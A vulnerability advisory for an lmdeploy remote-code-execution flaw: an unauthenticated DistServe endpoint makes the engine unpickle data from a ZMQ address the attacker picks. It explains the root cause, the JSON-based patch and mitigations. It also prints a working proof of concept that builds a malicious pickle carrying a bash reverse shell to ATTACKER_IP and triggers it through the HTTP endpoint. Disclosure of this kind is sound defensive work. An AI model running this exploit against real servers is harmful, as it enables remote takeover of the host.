CVE-2025-66455: lmdeploy Remote Code Execution via Pickle Deserialization in DistServe ZMQ Connector
An attacker who can reach an LMDeploy DistServe API server can trick it into connecting to a rogue ZeroMQ endpoint and deserializing a malicious pickle payload, resulting in arbitrary code execution…
The problem
LMDeploy's PyTorch PD-disaggregation path exposes a POST /distserve/p2p_connect HTTP endpoint that accepts a caller-supplied ZeroMQ address. The engine connects its PULL socket to that address and reads messages with recv_pyobj(), which is a thin wrapper around pickle.loads().
Authentication on the /distserve/* routes is disabled by default. Any attacker who can reach the API server can supply an attacker-controlled ZMQ address and push a crafted pickle payload, triggering code execution before any type validation runs. The isinstance check against DistServeCacheFreeRequest is performed after deserialization and cannot prevent exploitation.
Proof of concept
A working proof-of-concept for CVE-2025-66455 in lmdeploy, with the exact payload below.
# Step 1: spin up an attacker-controlled ZMQ PUSH server
import pickle, os, zmq
class RCEPayload:
def __reduce__(self):
cmd = 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
return (os.system, (cmd,))
ctx = zmq.Context()
sock = ctx.socket(zmq.PUSH)
sock.bind('tcp://0.0.0.0:9999') # attacker-controlled endpoint
sock.send(pickle.dumps(RCEPayload()))
# Step 2: direct the victim engine to connect to us
import requests
requests.post('http://VICTIM_IP:23333/distserve/p2p_connect', json={
'remote_engine_id': 'pwn',
'remote_engine_endpoint_info': {
'zmq_address': 'tcp://ATTACKER_IP:9999'
}
})
# Engine calls recv_pyobj() -> pickle.loads(our bytes) -> os.system() firesThe root cause is CWE-502: the handle_zmq_recv coroutine in engine_conn.py called recv_pyobj(), which internally calls pickle.loads() on whatever bytes the peer sends. Python pickle can call arbitrary callables via __reduce__ during reconstruction, so code runs before the function even returns, let alone before the isinstance guard.
The second design flaw is that the ZMQ peer address comes directly from an unauthenticated HTTP request body (remote_engine_endpoint_info.zmq_address), so the attacker fully controls which endpoint the victim pulls from.
The patch (commit f05b4ad8) replaced send_pyobj/recv_pyobj with send_json/recv_json and validates the decoded object with DistServeCacheFreeRequest.model_validate(). JSON decoding does not execute code, and schema validation rejects off-spec messages without crashing the receive loop.
The fix
Upgrade to lmdeploy 0.16.0 (commit f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2). If an immediate upgrade is not possible: restrict /distserve/* routes to trusted cluster networks, enable API-key authentication (--api-keys), and block arbitrary outbound ZMQ connections from serving nodes.
These mitigations reduce exposure but do not make pickle deserialization safe.
Reported by Anai-Guo.
Related research
- critical · 9.8CVE-2025-59953CVE-2025-59953: lmdeploy Remote Code Execution via Pickle Deserialization in AsyncRPCServer
- criticalCVE-2026-78683CVE-2026-78683: nltk Unsafe Pickle Deserialization in TransitionParser
- criticalCVE-2026-79657CVE-2026-79657: nltk Allowlisted Pickle Loader Remote Code Execution
- high · 8.8mlflow statsmodels flavor MLFLOW_ALLOW_PICKLE_DESERIALIZATION bypass RCE